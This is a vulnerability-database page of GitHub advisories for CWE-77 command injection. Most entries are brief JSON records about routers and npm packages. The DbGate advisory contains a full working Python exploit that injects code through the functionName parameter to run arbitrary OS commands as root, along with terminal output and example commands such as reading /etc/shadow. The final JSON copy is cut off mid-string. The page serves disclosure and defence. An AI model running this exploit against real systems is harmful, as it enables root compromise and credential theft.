CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5383 vulnerabilities reference this CWE, most recent first.
GHSA-WJGC-GW8V-M4VG
Vulnerability from github – Published: 2023-10-11 09:34 – Updated: 2024-04-04 08:33Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability in Xiaomi Xiaomi Router allows Command Injection.
{
"affected": [],
"aliases": [
"CVE-2023-26320"
],
"database_specific": {
"cwe_ids": [
"CWE-120",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-11T07:15:10Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027) vulnerability in Xiaomi Xiaomi Router allows Command Injection.",
"id": "GHSA-wjgc-gw8v-m4vg",
"modified": "2024-04-04T08:33:20Z",
"published": "2023-10-11T09:34:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26320"
},
{
"type": "WEB",
"url": "https://trust.mi.com/misrc/bulletins/advisory?cveId=540"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJGF-X45F-9VGF
Vulnerability from github – Published: 2024-11-20 18:32 – Updated: 2024-11-20 21:30D-LINK DI-8400 v16.07.26A1 was discovered to contain multiple remote command execution (RCE) vulnerabilities in the msp_info_htm function via the flag and cmd parameters.
{
"affected": [],
"aliases": [
"CVE-2024-52739"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-20T18:15:23Z",
"severity": "HIGH"
},
"details": "D-LINK DI-8400 v16.07.26A1 was discovered to contain multiple remote command execution (RCE) vulnerabilities in the msp_info_htm function via the flag and cmd parameters.",
"id": "GHSA-wjgf-x45f-9vgf",
"modified": "2024-11-20T21:30:49Z",
"published": "2024-11-20T18:32:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52739"
},
{
"type": "WEB",
"url": "https://github.com/faqiadegege/IoTVuln/blob/main/DI_8400_msp_info_htm_rce/detail.md"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJHV-44C8-252G
Vulnerability from github – Published: 2021-12-31 00:00 – Updated: 2022-07-13 00:01Trendnet AC2600 TEW-827DRU version 2.08B01 contains a command injection vulnerability in the smb functionality of the device. The username parameter used when configuring smb functionality for the device is vulnerable to command injection as root.
{
"affected": [],
"aliases": [
"CVE-2021-20160"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-30T22:15:00Z",
"severity": "HIGH"
},
"details": "Trendnet AC2600 TEW-827DRU version 2.08B01 contains a command injection vulnerability in the smb functionality of the device. The username parameter used when configuring smb functionality for the device is vulnerable to command injection as root.",
"id": "GHSA-wjhv-44c8-252g",
"modified": "2022-07-13T00:01:04Z",
"published": "2021-12-31T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20160"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2021-54"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJP7-MWHC-8PPQ
Vulnerability from github – Published: 2022-05-24 16:50 – Updated: 2023-02-03 00:30Command Injection in EdgeMAX EdgeSwitch prior to 1.8.2 allow an Admin user to execute commands as root.
{
"affected": [],
"aliases": [
"CVE-2019-5446"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-10T20:15:00Z",
"severity": "HIGH"
},
"details": "Command Injection in EdgeMAX EdgeSwitch prior to 1.8.2 allow an Admin user to execute commands as root.",
"id": "GHSA-wjp7-mwhc-8ppq",
"modified": "2023-02-03T00:30:18Z",
"published": "2022-05-24T16:50:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5446"
},
{
"type": "WEB",
"url": "https://community.ui.com/releases/EdgeMAX-EdgeSwitch-Firmware-v1-8-2/824d58b1-6027-49cf-878d-2076c01948b7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WJR4-2JGW-HMV8
Vulnerability from github – Published: 2018-07-31 18:28 – Updated: 2023-09-12 21:12Versions of whereis before 0.4.1 are vulnerable to command injection if untrusted user input is passed into whereis.
Recommendation
Update to version 0.4.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "whereis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-3772"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:00:43Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Versions of `whereis` before 0.4.1 are vulnerable to command injection if untrusted user input is passed into `whereis`.\n\n\n## Recommendation\n\nUpdate to version 0.4.1 or later.",
"id": "GHSA-wjr4-2jgw-hmv8",
"modified": "2023-09-12T21:12:31Z",
"published": "2018-07-31T18:28:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3772"
},
{
"type": "WEB",
"url": "https://github.com/vvo/node-whereis/commit/0f64e3780235004fb6e43bfd153ea3e0e210ee2b"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/319476"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-wjr4-2jgw-hmv8"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/604"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command Injection in whereis"
}
GHSA-WM2C-859G-3W93
Vulnerability from github – Published: 2023-08-15 21:30 – Updated: 2024-04-04 06:58An issue in COMFAST CF-XR11 v.2.7.2 allows an attacker to execute arbitrary code via the destination parameter of sub_431F64 function in bin/webmgnt.
{
"affected": [],
"aliases": [
"CVE-2023-38862"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-15T19:15:10Z",
"severity": "CRITICAL"
},
"details": "An issue in COMFAST CF-XR11 v.2.7.2 allows an attacker to execute arbitrary code via the destination parameter of sub_431F64 function in bin/webmgnt.",
"id": "GHSA-wm2c-859g-3w93",
"modified": "2024-04-04T06:58:12Z",
"published": "2023-08-15T21:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38862"
},
{
"type": "WEB",
"url": "https://github.com/TTY-flag/my_iot_vul/tree/main/COMFAST/CF-XR11/Command_Inject1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WM3J-77WQ-PRWP
Vulnerability from github – Published: 2025-12-15 06:31 – Updated: 2025-12-15 06:31A security flaw has been discovered in Shiguangwu sgwbox N3 2.0.25. Affected is an unknown function of the file /usr/sbin/http_eshell_server of the component DOCKER Feature. Performing manipulation of the argument params results in command injection. The attack may be initiated remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-14707"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-15T06:15:43Z",
"severity": "HIGH"
},
"details": "A security flaw has been discovered in Shiguangwu sgwbox N3 2.0.25. Affected is an unknown function of the file /usr/sbin/http_eshell_server of the component DOCKER Feature. Performing manipulation of the argument params results in command injection. The attack may be initiated remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-wm3j-77wq-prwp",
"modified": "2025-12-15T06:31:16Z",
"published": "2025-12-15T06:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14707"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.336424"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.336424"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.706976"
},
{
"type": "WEB",
"url": "https://www.notion.so/sgwbox-NAS-N3-Command-Injection-2be6cf4e528a805f9b94f7b8799c77a8?source=copy_link"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WM5J-5V24-89FG
Vulnerability from github – Published: 2022-02-09 00:00 – Updated: 2022-02-09 00:00Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function uploadPicture. This vulnerability allows attackers to execute arbitrary commands via the pic_name parameter.
{
"affected": [],
"aliases": [
"CVE-2021-45990"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-04T02:15:00Z",
"severity": "CRITICAL"
},
"details": "Tenda routers G1 and G3 v15.11.0.17(9502)_CN were discovered to contain a command injection vulnerability in the function uploadPicture. This vulnerability allows attackers to execute arbitrary commands via the pic_name parameter.",
"id": "GHSA-wm5j-5v24-89fg",
"modified": "2022-02-09T00:00:45Z",
"published": "2022-02-09T00:00:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45990"
},
{
"type": "WEB",
"url": "https://github.com/pjqwudi/my_vuln/blob/main/Tenda/vuln_1/1.md"
},
{
"type": "WEB",
"url": "https://www.tenable.com/cve/CVE-2021-45990"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WM5R-5QP3-5VXF
Vulnerability from github – Published: 2026-06-05 16:30 – Updated: 2026-06-05 16:30Summary
DbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized functionName parameter in the /runners/load-reader endpoint. The require = null mitigation is trivially bypassed via dynamic import().
Details
Code injection via functionName in loadReader
The /runners/load-reader endpoint interpolates the functionName parameter directly into a dynamically generated JavaScript script template without any sanitization:
// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)
const reader = await dbgateApi.${functionName}({...});
By injecting a newline character into functionName, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses await import('child_process') to bypass the require = null mitigation (since import() is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).
The June 2025 security fix (commit cf3f95c) added require = null to the generated script, but this is trivially bypassed:
// Mitigation in generated script:
require = null;
// Bypass via dynamic import (language keyword, cannot be nullified):
const { execSync } = await import('child_process');
execSync('arbitrary command');
Root cause: functionName is user-controlled input that is interpolated into code without sanitization. The fix should validate functionName against an allowlist of known reader functions (e.g., /^[a-zA-Z]+$/) or use a lookup table instead of string interpolation.
PoC
The PoC can be run against a test environment using Docker Compose:
services:
sectest-dbgate:
image: dbgate/dbgate:7.1.4-alpine
ports:
- "80:3000"
environment:
LOGINS: admin
LOGIN_PASSWORD_admin: SuperSecretPassword123
WEB_ROOT: /
CONNECTIONS: con1
LABEL_con1: MySQL
SERVER_con1: sectest-mysql
USER_con1: dbuser
PASSWORD_con1: dbpassword
PORT_con1: 3306
ENGINE_con1: mysql@dbgate-plugin-mysql
sectest-mysql:
image: mysql:8.0
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: testdb
MYSQL_USER: dbuser
MYSQL_PASSWORD: dbpassword
PoC Script:
#!/usr/bin/env python3
"""
DBGate — Authenticated RCE PoC
===============================
Root-level command execution against auth-enabled DBGate with valid credentials.
Vulnerability — RCE via loadReader functionName code injection
The /runners/load-reader endpoint interpolates `functionName` directly
into a dynamically generated JS script without sanitization.
A newline in functionName breaks out of the template expression and
allows arbitrary code execution as root (Docker default).
The `require = null` mitigation added in June 2025 is trivially
bypassed via dynamic `import()` (a language keyword, not a function).
Affected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)
Fixed in: NOT FIXED as of DbGate 7.1.4
Tested on: dbgate/dbgate:7.1.4-alpine
"""
import argparse
import json
import sys
import time
import uuid
import requests
requests.packages.urllib3.disable_warnings()
COMMON_ROOTS = ["", "/dbgate", "/db", "/admin", "/gate", "/app"]
def banner(host, command, user):
print(f"""
┌─────────────────────────────────────────────────────┐
│ DBGate — Authenticated RCE PoC │
│ loadReader functionName code injection │
│ Affects ALL versions (unpatched as of 7.1.4) │
└─────────────────────────────────────────────────────┘
Target : {host}
User : {user}
Command: {command}
""")
def build_base(host, port=None):
if "://" not in host:
host = f"http://{host}"
scheme, rest = host.split("://", 1)
rest = rest.rstrip("/")
slash = rest.find("/")
if slash == -1:
hostport, path = rest, ""
else:
hostport, path = rest[:slash], rest[slash:]
if port:
hostport = hostport.rsplit(":", 1)[0] + f":{port}"
elif ":" not in hostport:
hostport += ":80"
return f"{scheme}://{hostport}", path
def discover_web_root(base_host, explicit_path=""):
if explicit_path:
return f"{base_host}{explicit_path}"
for root in COMMON_ROOTS:
url = f"{base_host}{root}"
try:
r = requests.post(f"{url}/config/get", json={},
timeout=3, verify=False)
if r.status_code == 200 and "version" in r.text:
if root:
print(f" [+] Auto-detected WEB_ROOT: {root}")
return url
except Exception:
pass
return base_host
def phase1_recon(base):
print("[Phase 1] Reconnaissance")
info = {}
try:
r = requests.post(f"{base}/config/get", json={}, timeout=5, verify=False)
if r.status_code == 200:
cfg = r.json()
info["config"] = cfg
version = cfg.get("version", "?")
print(f" [+] Version : {version}")
print(f" [+] Docker : {cfg.get('isDocker', '?')}")
print(f" [+] Data dir : {cfg.get('connectionsFilePath', '?').rsplit('/', 1)[0]}")
except Exception:
print(f" [!] /config/get failed")
try:
r = requests.post(f"{base}/auth/get-providers", json={}, timeout=5, verify=False)
if r.status_code == 200:
pdata = r.json()
info["providers"] = pdata
providers = pdata.get("providers", [])
names = [p.get("name", "?") for p in providers]
default = pdata.get("default", "?")
print(f" [+] Auth : {', '.join(names)} (default: {default})")
info["default_amoid"] = default
except Exception:
pass
print()
return info
def phase2_authenticate(base, info, user, password):
print("[Phase 2] Authentication")
amoid = info.get("default_amoid", "logins")
try:
r = requests.post(
f"{base}/auth/login",
json={"amoid": amoid, "login": user, "password": password},
timeout=5, verify=False,
)
if r.status_code == 200:
data = r.json()
token = data.get("accessToken")
if token:
print(f" [+] Authenticated as '{user}'")
print(f" [+] JWT obtained: {token[:50]}...")
print()
return token
else:
error = data.get("error", "no accessToken in response")
print(f" [-] Login failed: {error}")
else:
print(f" [-] Login failed (HTTP {r.status_code})")
except Exception as e:
print(f" [!] Login error: {e}")
print()
return None
def phase3_rce(base, token, command):
"""
RCE via loadReader functionName code injection.
functionName is interpolated into a JS script template:
const reader = await dbgateApi.{functionName}({...});
A newline in functionName breaks out and injects arbitrary code.
import() bypasses the require=null mitigation (import is a keyword).
"""
print("[Phase 3] RCE via loadReader code injection")
print(f" [*] Command: {command}")
uid = uuid.uuid4().hex[:12]
jslout = f"/tmp/_rce_{uid}.jsonl"
escaped_cmd = (command
.replace("\\", "\\\\")
.replace("'", "\\'")
.replace("`", "\\`"))
payload_fn = (
"csvReader\n"
"var _r = (await import('child_process'))"
f".execSync('{escaped_cmd}',{{timeout:30000}})"
".toString();\n"
"var NL = String.fromCharCode(10);\n"
"var _hdr = JSON.stringify({__isStreamHeader:true,"
"columns:[{columnName:'out'}]});\n"
"var _rows = _r.split(NL)"
".filter(function(l){return l.length>0})"
".map(function(l){return JSON.stringify({out:l})})"
".join(NL);\n"
f"(await import('fs')).writeFileSync('{jslout}',"
" _hdr + NL + _rows + NL);\n"
"//"
)
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
}
print(f" [*] Injecting payload via functionName (bypasses require=null)")
try:
r = requests.post(
f"{base}/runners/load-reader",
json={"functionName": payload_fn, "props": {}},
headers=headers,
timeout=35, verify=False,
)
print(f" [*] Payload sent (status {r.status_code})")
except requests.exceptions.Timeout:
print(f" [*] Payload sent (timed out — command may still be running)")
except requests.exceptions.ConnectionError:
print(f" [*] Payload sent (connection reset — expected for some versions)")
except Exception as e:
print(f" [!] Send error: {e}")
return None
print(f" [*] Waiting for execution...")
for wait in [0.5, 1, 1.5, 2, 3, 5]:
time.sleep(wait)
try:
r = requests.post(
f"{base}/jsldata/get-rows",
json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
headers=headers,
timeout=5, verify=False,
)
if r.status_code == 200:
rows = r.json()
if isinstance(rows, list) and len(rows) > 0:
print(f" [+] Output captured ({len(rows)} lines)")
print()
return "\n".join(
row.get("out", "")
for row in rows
if isinstance(row, dict)
)
except requests.exceptions.ConnectionError:
try:
time.sleep(1)
r = requests.post(
f"{base}/jsldata/get-rows",
json={"jslid": f"file://{jslout}", "offset": 0, "limit": 10000},
headers=headers,
timeout=5, verify=False,
)
if r.status_code == 200:
rows = r.json()
if isinstance(rows, list) and len(rows) > 0:
print(f" [+] Output captured ({len(rows)} lines, after reconnect)")
print()
return "\n".join(
row.get("out", "")
for row in rows
if isinstance(row, dict)
)
except Exception:
pass
except Exception:
pass
print(f" [-] Could not retrieve output (command may have failed)")
print()
return None
def main():
p = argparse.ArgumentParser(
add_help=False,
description="DBGate — Authenticated RCE PoC (loadReader code injection)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Any authenticated DbGate user can escalate to root-level\n"
"command execution via unsanitized functionName injection.\n"
"This vulnerability is UNPATCHED as of DbGate 7.1.4.\n"
"\n"
"examples:\n"
" %(prog)s -t localhost -u admin -P 'password' -c 'id'\n"
" %(prog)s -t 10.0.0.5:3000 -u admin -P 's3cret' -c 'cat /etc/shadow'\n"
" %(prog)s -t target.internal/dbgate -u admin -P 'pass' -c 'env'\n"
),
)
p.add_argument("-t", "--target", required=True, help="Target host[:port]")
p.add_argument("-u", "--user", required=True, help="DbGate username")
p.add_argument("-P", "--password", required=True, help="DbGate password")
p.add_argument("-c", "--command", required=True, help="OS command to execute")
p.add_argument("-p", "--port", type=int, default=None, help="Override port")
if len(sys.argv) == 1:
p.print_help()
sys.exit(1)
args = p.parse_args()
base_host, path = build_base(args.target, args.port)
banner(base_host, args.command, args.user)
base = discover_web_root(base_host, path)
print(f" [*] API endpoint : {base}")
print()
info = phase1_recon(base)
if not info.get("config"):
print("[!] Cannot reach target — verify host/port/web-root")
sys.exit(1)
token = phase2_authenticate(base, info, args.user, args.password)
if not token:
print("[!] Authentication failed — check username/password")
sys.exit(1)
output = phase3_rce(base, token, args.command)
if output is not None:
print("─" * 60)
print(output.rstrip())
print("─" * 60)
print()
print("[+] RCE successful: authenticated user → root command execution")
else:
print("[!] No output captured (command may have failed or timed out)")
sys.exit(1)
if __name__ == "__main__":
main()
And running the PoC Python script (requires valid credentials):
python3 poc.py -t http://localhost -u admin -P 'SuperSecretPassword123' -c 'id'
Terminal output:
┌─────────────────────────────────────────────────────┐
│ DBGate — Authenticated RCE PoC │
│ loadReader functionName code injection │
│ Affects ALL versions (unpatched as of 7.1.4) │
└─────────────────────────────────────────────────────┘
Target : http://localhost:80
User : admin
Command: id
[*] API endpoint : http://localhost:80
[Phase 1] Reconnaissance
[+] Version : 7.1.4
[+] Docker : True
[+] Data dir : /root/.dbgate
[+] Auth : Login & Password (default: logins)
[Phase 2] Authentication
[+] Authenticated as 'admin'
[+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...
[Phase 3] RCE via loadReader code injection
[*] Command: id
[*] Injecting payload via functionName (bypasses require=null)
[*] Payload sent (status 500)
[*] Waiting for execution...
[+] Output captured (1 lines)
────────────────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
────────────────────────────────────────────────────────────
[+] RCE successful: authenticated user → root command execution
Impact
- Privilege escalation to root — an authenticated DbGate user escalates from web UI access to a root OS shell inside the container
- Infrastructure secret theft —
/proc/1/environexposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI - Other users' credentials — extracts
LOGIN_PASSWORD_*env vars for all DbGate users, enabling password-reuse attacks against other systems - Network pivot — from inside the container, the attacker can scan and reach other services on the network that are not exposed externally
- Persistent backdoor — root access allows modifying the DbGate application itself (e.g.
bundle.js), installing cron jobs, or adding SSH keys — the backdoor survives credential rotation and DbGate restarts
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.1.8"
},
"package": {
"ecosystem": "npm",
"name": "dbgate-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47670"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T16:30:59Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nDbGate is vulnerable to authenticated Remote Code Execution (RCE). Any user with valid DbGate credentials can execute arbitrary OS commands as root by exploiting an unsanitized `functionName` parameter in the `/runners/load-reader` endpoint. The `require = null` mitigation is trivially bypassed via dynamic `import()`.\n\n\n\u003cbr/\u003e\n\n### Details\n\n**Code injection via `functionName` in loadReader**\n\nThe `/runners/load-reader` endpoint interpolates the `functionName` parameter directly into a dynamically generated JavaScript script template without any sanitization:\n\n```javascript\n// packages/api/src/controllers/runners.js (loadReader / loaderScriptTemplate)\nconst reader = await dbgateApi.${functionName}({...});\n```\n\nBy injecting a newline character into `functionName`, an attacker breaks out of the template expression and injects arbitrary JavaScript code. The injected code uses `await import(\u0027child_process\u0027)` to bypass the `require = null` mitigation (since `import()` is a language keyword, not a function that can be nullified), achieving arbitrary command execution as the process user (root in Docker).\n\nThe June 2025 security fix ([commit cf3f95c](https://github.com/dbgate/dbgate/commit/cf3f95c952)) added `require = null` to the generated script, but this is trivially bypassed:\n\n```javascript\n// Mitigation in generated script:\nrequire = null;\n\n// Bypass via dynamic import (language keyword, cannot be nullified):\nconst { execSync } = await import(\u0027child_process\u0027);\nexecSync(\u0027arbitrary command\u0027);\n```\n\n**Root cause:** `functionName` is user-controlled input that is interpolated into code without sanitization. The fix should validate `functionName` against an allowlist of known reader functions (e.g., `/^[a-zA-Z]+$/`) or use a lookup table instead of string interpolation.\n\n\n\n\u003cbr/\u003e\n\n### PoC\n\nThe PoC can be run against a test environment using Docker Compose:\n\n```yaml\nservices:\n sectest-dbgate:\n image: dbgate/dbgate:7.1.4-alpine\n ports:\n - \"80:3000\"\n environment:\n LOGINS: admin\n LOGIN_PASSWORD_admin: SuperSecretPassword123\n WEB_ROOT: /\n CONNECTIONS: con1\n LABEL_con1: MySQL\n SERVER_con1: sectest-mysql\n USER_con1: dbuser\n PASSWORD_con1: dbpassword\n PORT_con1: 3306\n ENGINE_con1: mysql@dbgate-plugin-mysql\n\n sectest-mysql:\n image: mysql:8.0\n environment:\n MYSQL_ROOT_PASSWORD: rootpass\n MYSQL_DATABASE: testdb\n MYSQL_USER: dbuser\n MYSQL_PASSWORD: dbpassword\n```\n\nPoC Script:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDBGate \u2014 Authenticated RCE PoC\n===============================\nRoot-level command execution against auth-enabled DBGate with valid credentials.\n\n Vulnerability \u2014 RCE via loadReader functionName code injection\n The /runners/load-reader endpoint interpolates `functionName` directly\n into a dynamically generated JS script without sanitization.\n A newline in functionName breaks out of the template expression and\n allows arbitrary code execution as root (Docker default).\n\n The `require = null` mitigation added in June 2025 is trivially\n bypassed via dynamic `import()` (a language keyword, not a function).\n\nAffected versions: All DbGate versions (tested on 6.1.4, 6.2.0, 7.1.4)\nFixed in: NOT FIXED as of DbGate 7.1.4\nTested on: dbgate/dbgate:7.1.4-alpine\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\nimport uuid\nimport requests\n\nrequests.packages.urllib3.disable_warnings()\n\nCOMMON_ROOTS = [\"\", \"/dbgate\", \"/db\", \"/admin\", \"/gate\", \"/app\"]\n\n\ndef banner(host, command, user):\n print(f\"\"\"\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 DBGate \u2014 Authenticated RCE PoC \u2502\n \u2502 loadReader functionName code injection \u2502\n \u2502 Affects ALL versions (unpatched as of 7.1.4) \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n Target : {host}\n User : {user}\n Command: {command}\n\"\"\")\n\n\ndef build_base(host, port=None):\n if \"://\" not in host:\n host = f\"http://{host}\"\n scheme, rest = host.split(\"://\", 1)\n rest = rest.rstrip(\"/\")\n slash = rest.find(\"/\")\n if slash == -1:\n hostport, path = rest, \"\"\n else:\n hostport, path = rest[:slash], rest[slash:]\n if port:\n hostport = hostport.rsplit(\":\", 1)[0] + f\":{port}\"\n elif \":\" not in hostport:\n hostport += \":80\"\n return f\"{scheme}://{hostport}\", path\n\n\ndef discover_web_root(base_host, explicit_path=\"\"):\n if explicit_path:\n return f\"{base_host}{explicit_path}\"\n\n for root in COMMON_ROOTS:\n url = f\"{base_host}{root}\"\n try:\n r = requests.post(f\"{url}/config/get\", json={},\n timeout=3, verify=False)\n if r.status_code == 200 and \"version\" in r.text:\n if root:\n print(f\" [+] Auto-detected WEB_ROOT: {root}\")\n return url\n except Exception:\n pass\n return base_host\n\n\ndef phase1_recon(base):\n print(\"[Phase 1] Reconnaissance\")\n info = {}\n\n try:\n r = requests.post(f\"{base}/config/get\", json={}, timeout=5, verify=False)\n if r.status_code == 200:\n cfg = r.json()\n info[\"config\"] = cfg\n version = cfg.get(\"version\", \"?\")\n print(f\" [+] Version : {version}\")\n print(f\" [+] Docker : {cfg.get(\u0027isDocker\u0027, \u0027?\u0027)}\")\n print(f\" [+] Data dir : {cfg.get(\u0027connectionsFilePath\u0027, \u0027?\u0027).rsplit(\u0027/\u0027, 1)[0]}\")\n except Exception:\n print(f\" [!] /config/get failed\")\n\n try:\n r = requests.post(f\"{base}/auth/get-providers\", json={}, timeout=5, verify=False)\n if r.status_code == 200:\n pdata = r.json()\n info[\"providers\"] = pdata\n providers = pdata.get(\"providers\", [])\n names = [p.get(\"name\", \"?\") for p in providers]\n default = pdata.get(\"default\", \"?\")\n print(f\" [+] Auth : {\u0027, \u0027.join(names)} (default: {default})\")\n info[\"default_amoid\"] = default\n except Exception:\n pass\n\n print()\n return info\n\n\ndef phase2_authenticate(base, info, user, password):\n print(\"[Phase 2] Authentication\")\n\n amoid = info.get(\"default_amoid\", \"logins\")\n\n try:\n r = requests.post(\n f\"{base}/auth/login\",\n json={\"amoid\": amoid, \"login\": user, \"password\": password},\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n data = r.json()\n token = data.get(\"accessToken\")\n if token:\n print(f\" [+] Authenticated as \u0027{user}\u0027\")\n print(f\" [+] JWT obtained: {token[:50]}...\")\n print()\n return token\n else:\n error = data.get(\"error\", \"no accessToken in response\")\n print(f\" [-] Login failed: {error}\")\n else:\n print(f\" [-] Login failed (HTTP {r.status_code})\")\n except Exception as e:\n print(f\" [!] Login error: {e}\")\n\n print()\n return None\n\n\ndef phase3_rce(base, token, command):\n \"\"\"\n RCE via loadReader functionName code injection.\n\n functionName is interpolated into a JS script template:\n const reader = await dbgateApi.{functionName}({...});\n A newline in functionName breaks out and injects arbitrary code.\n\n import() bypasses the require=null mitigation (import 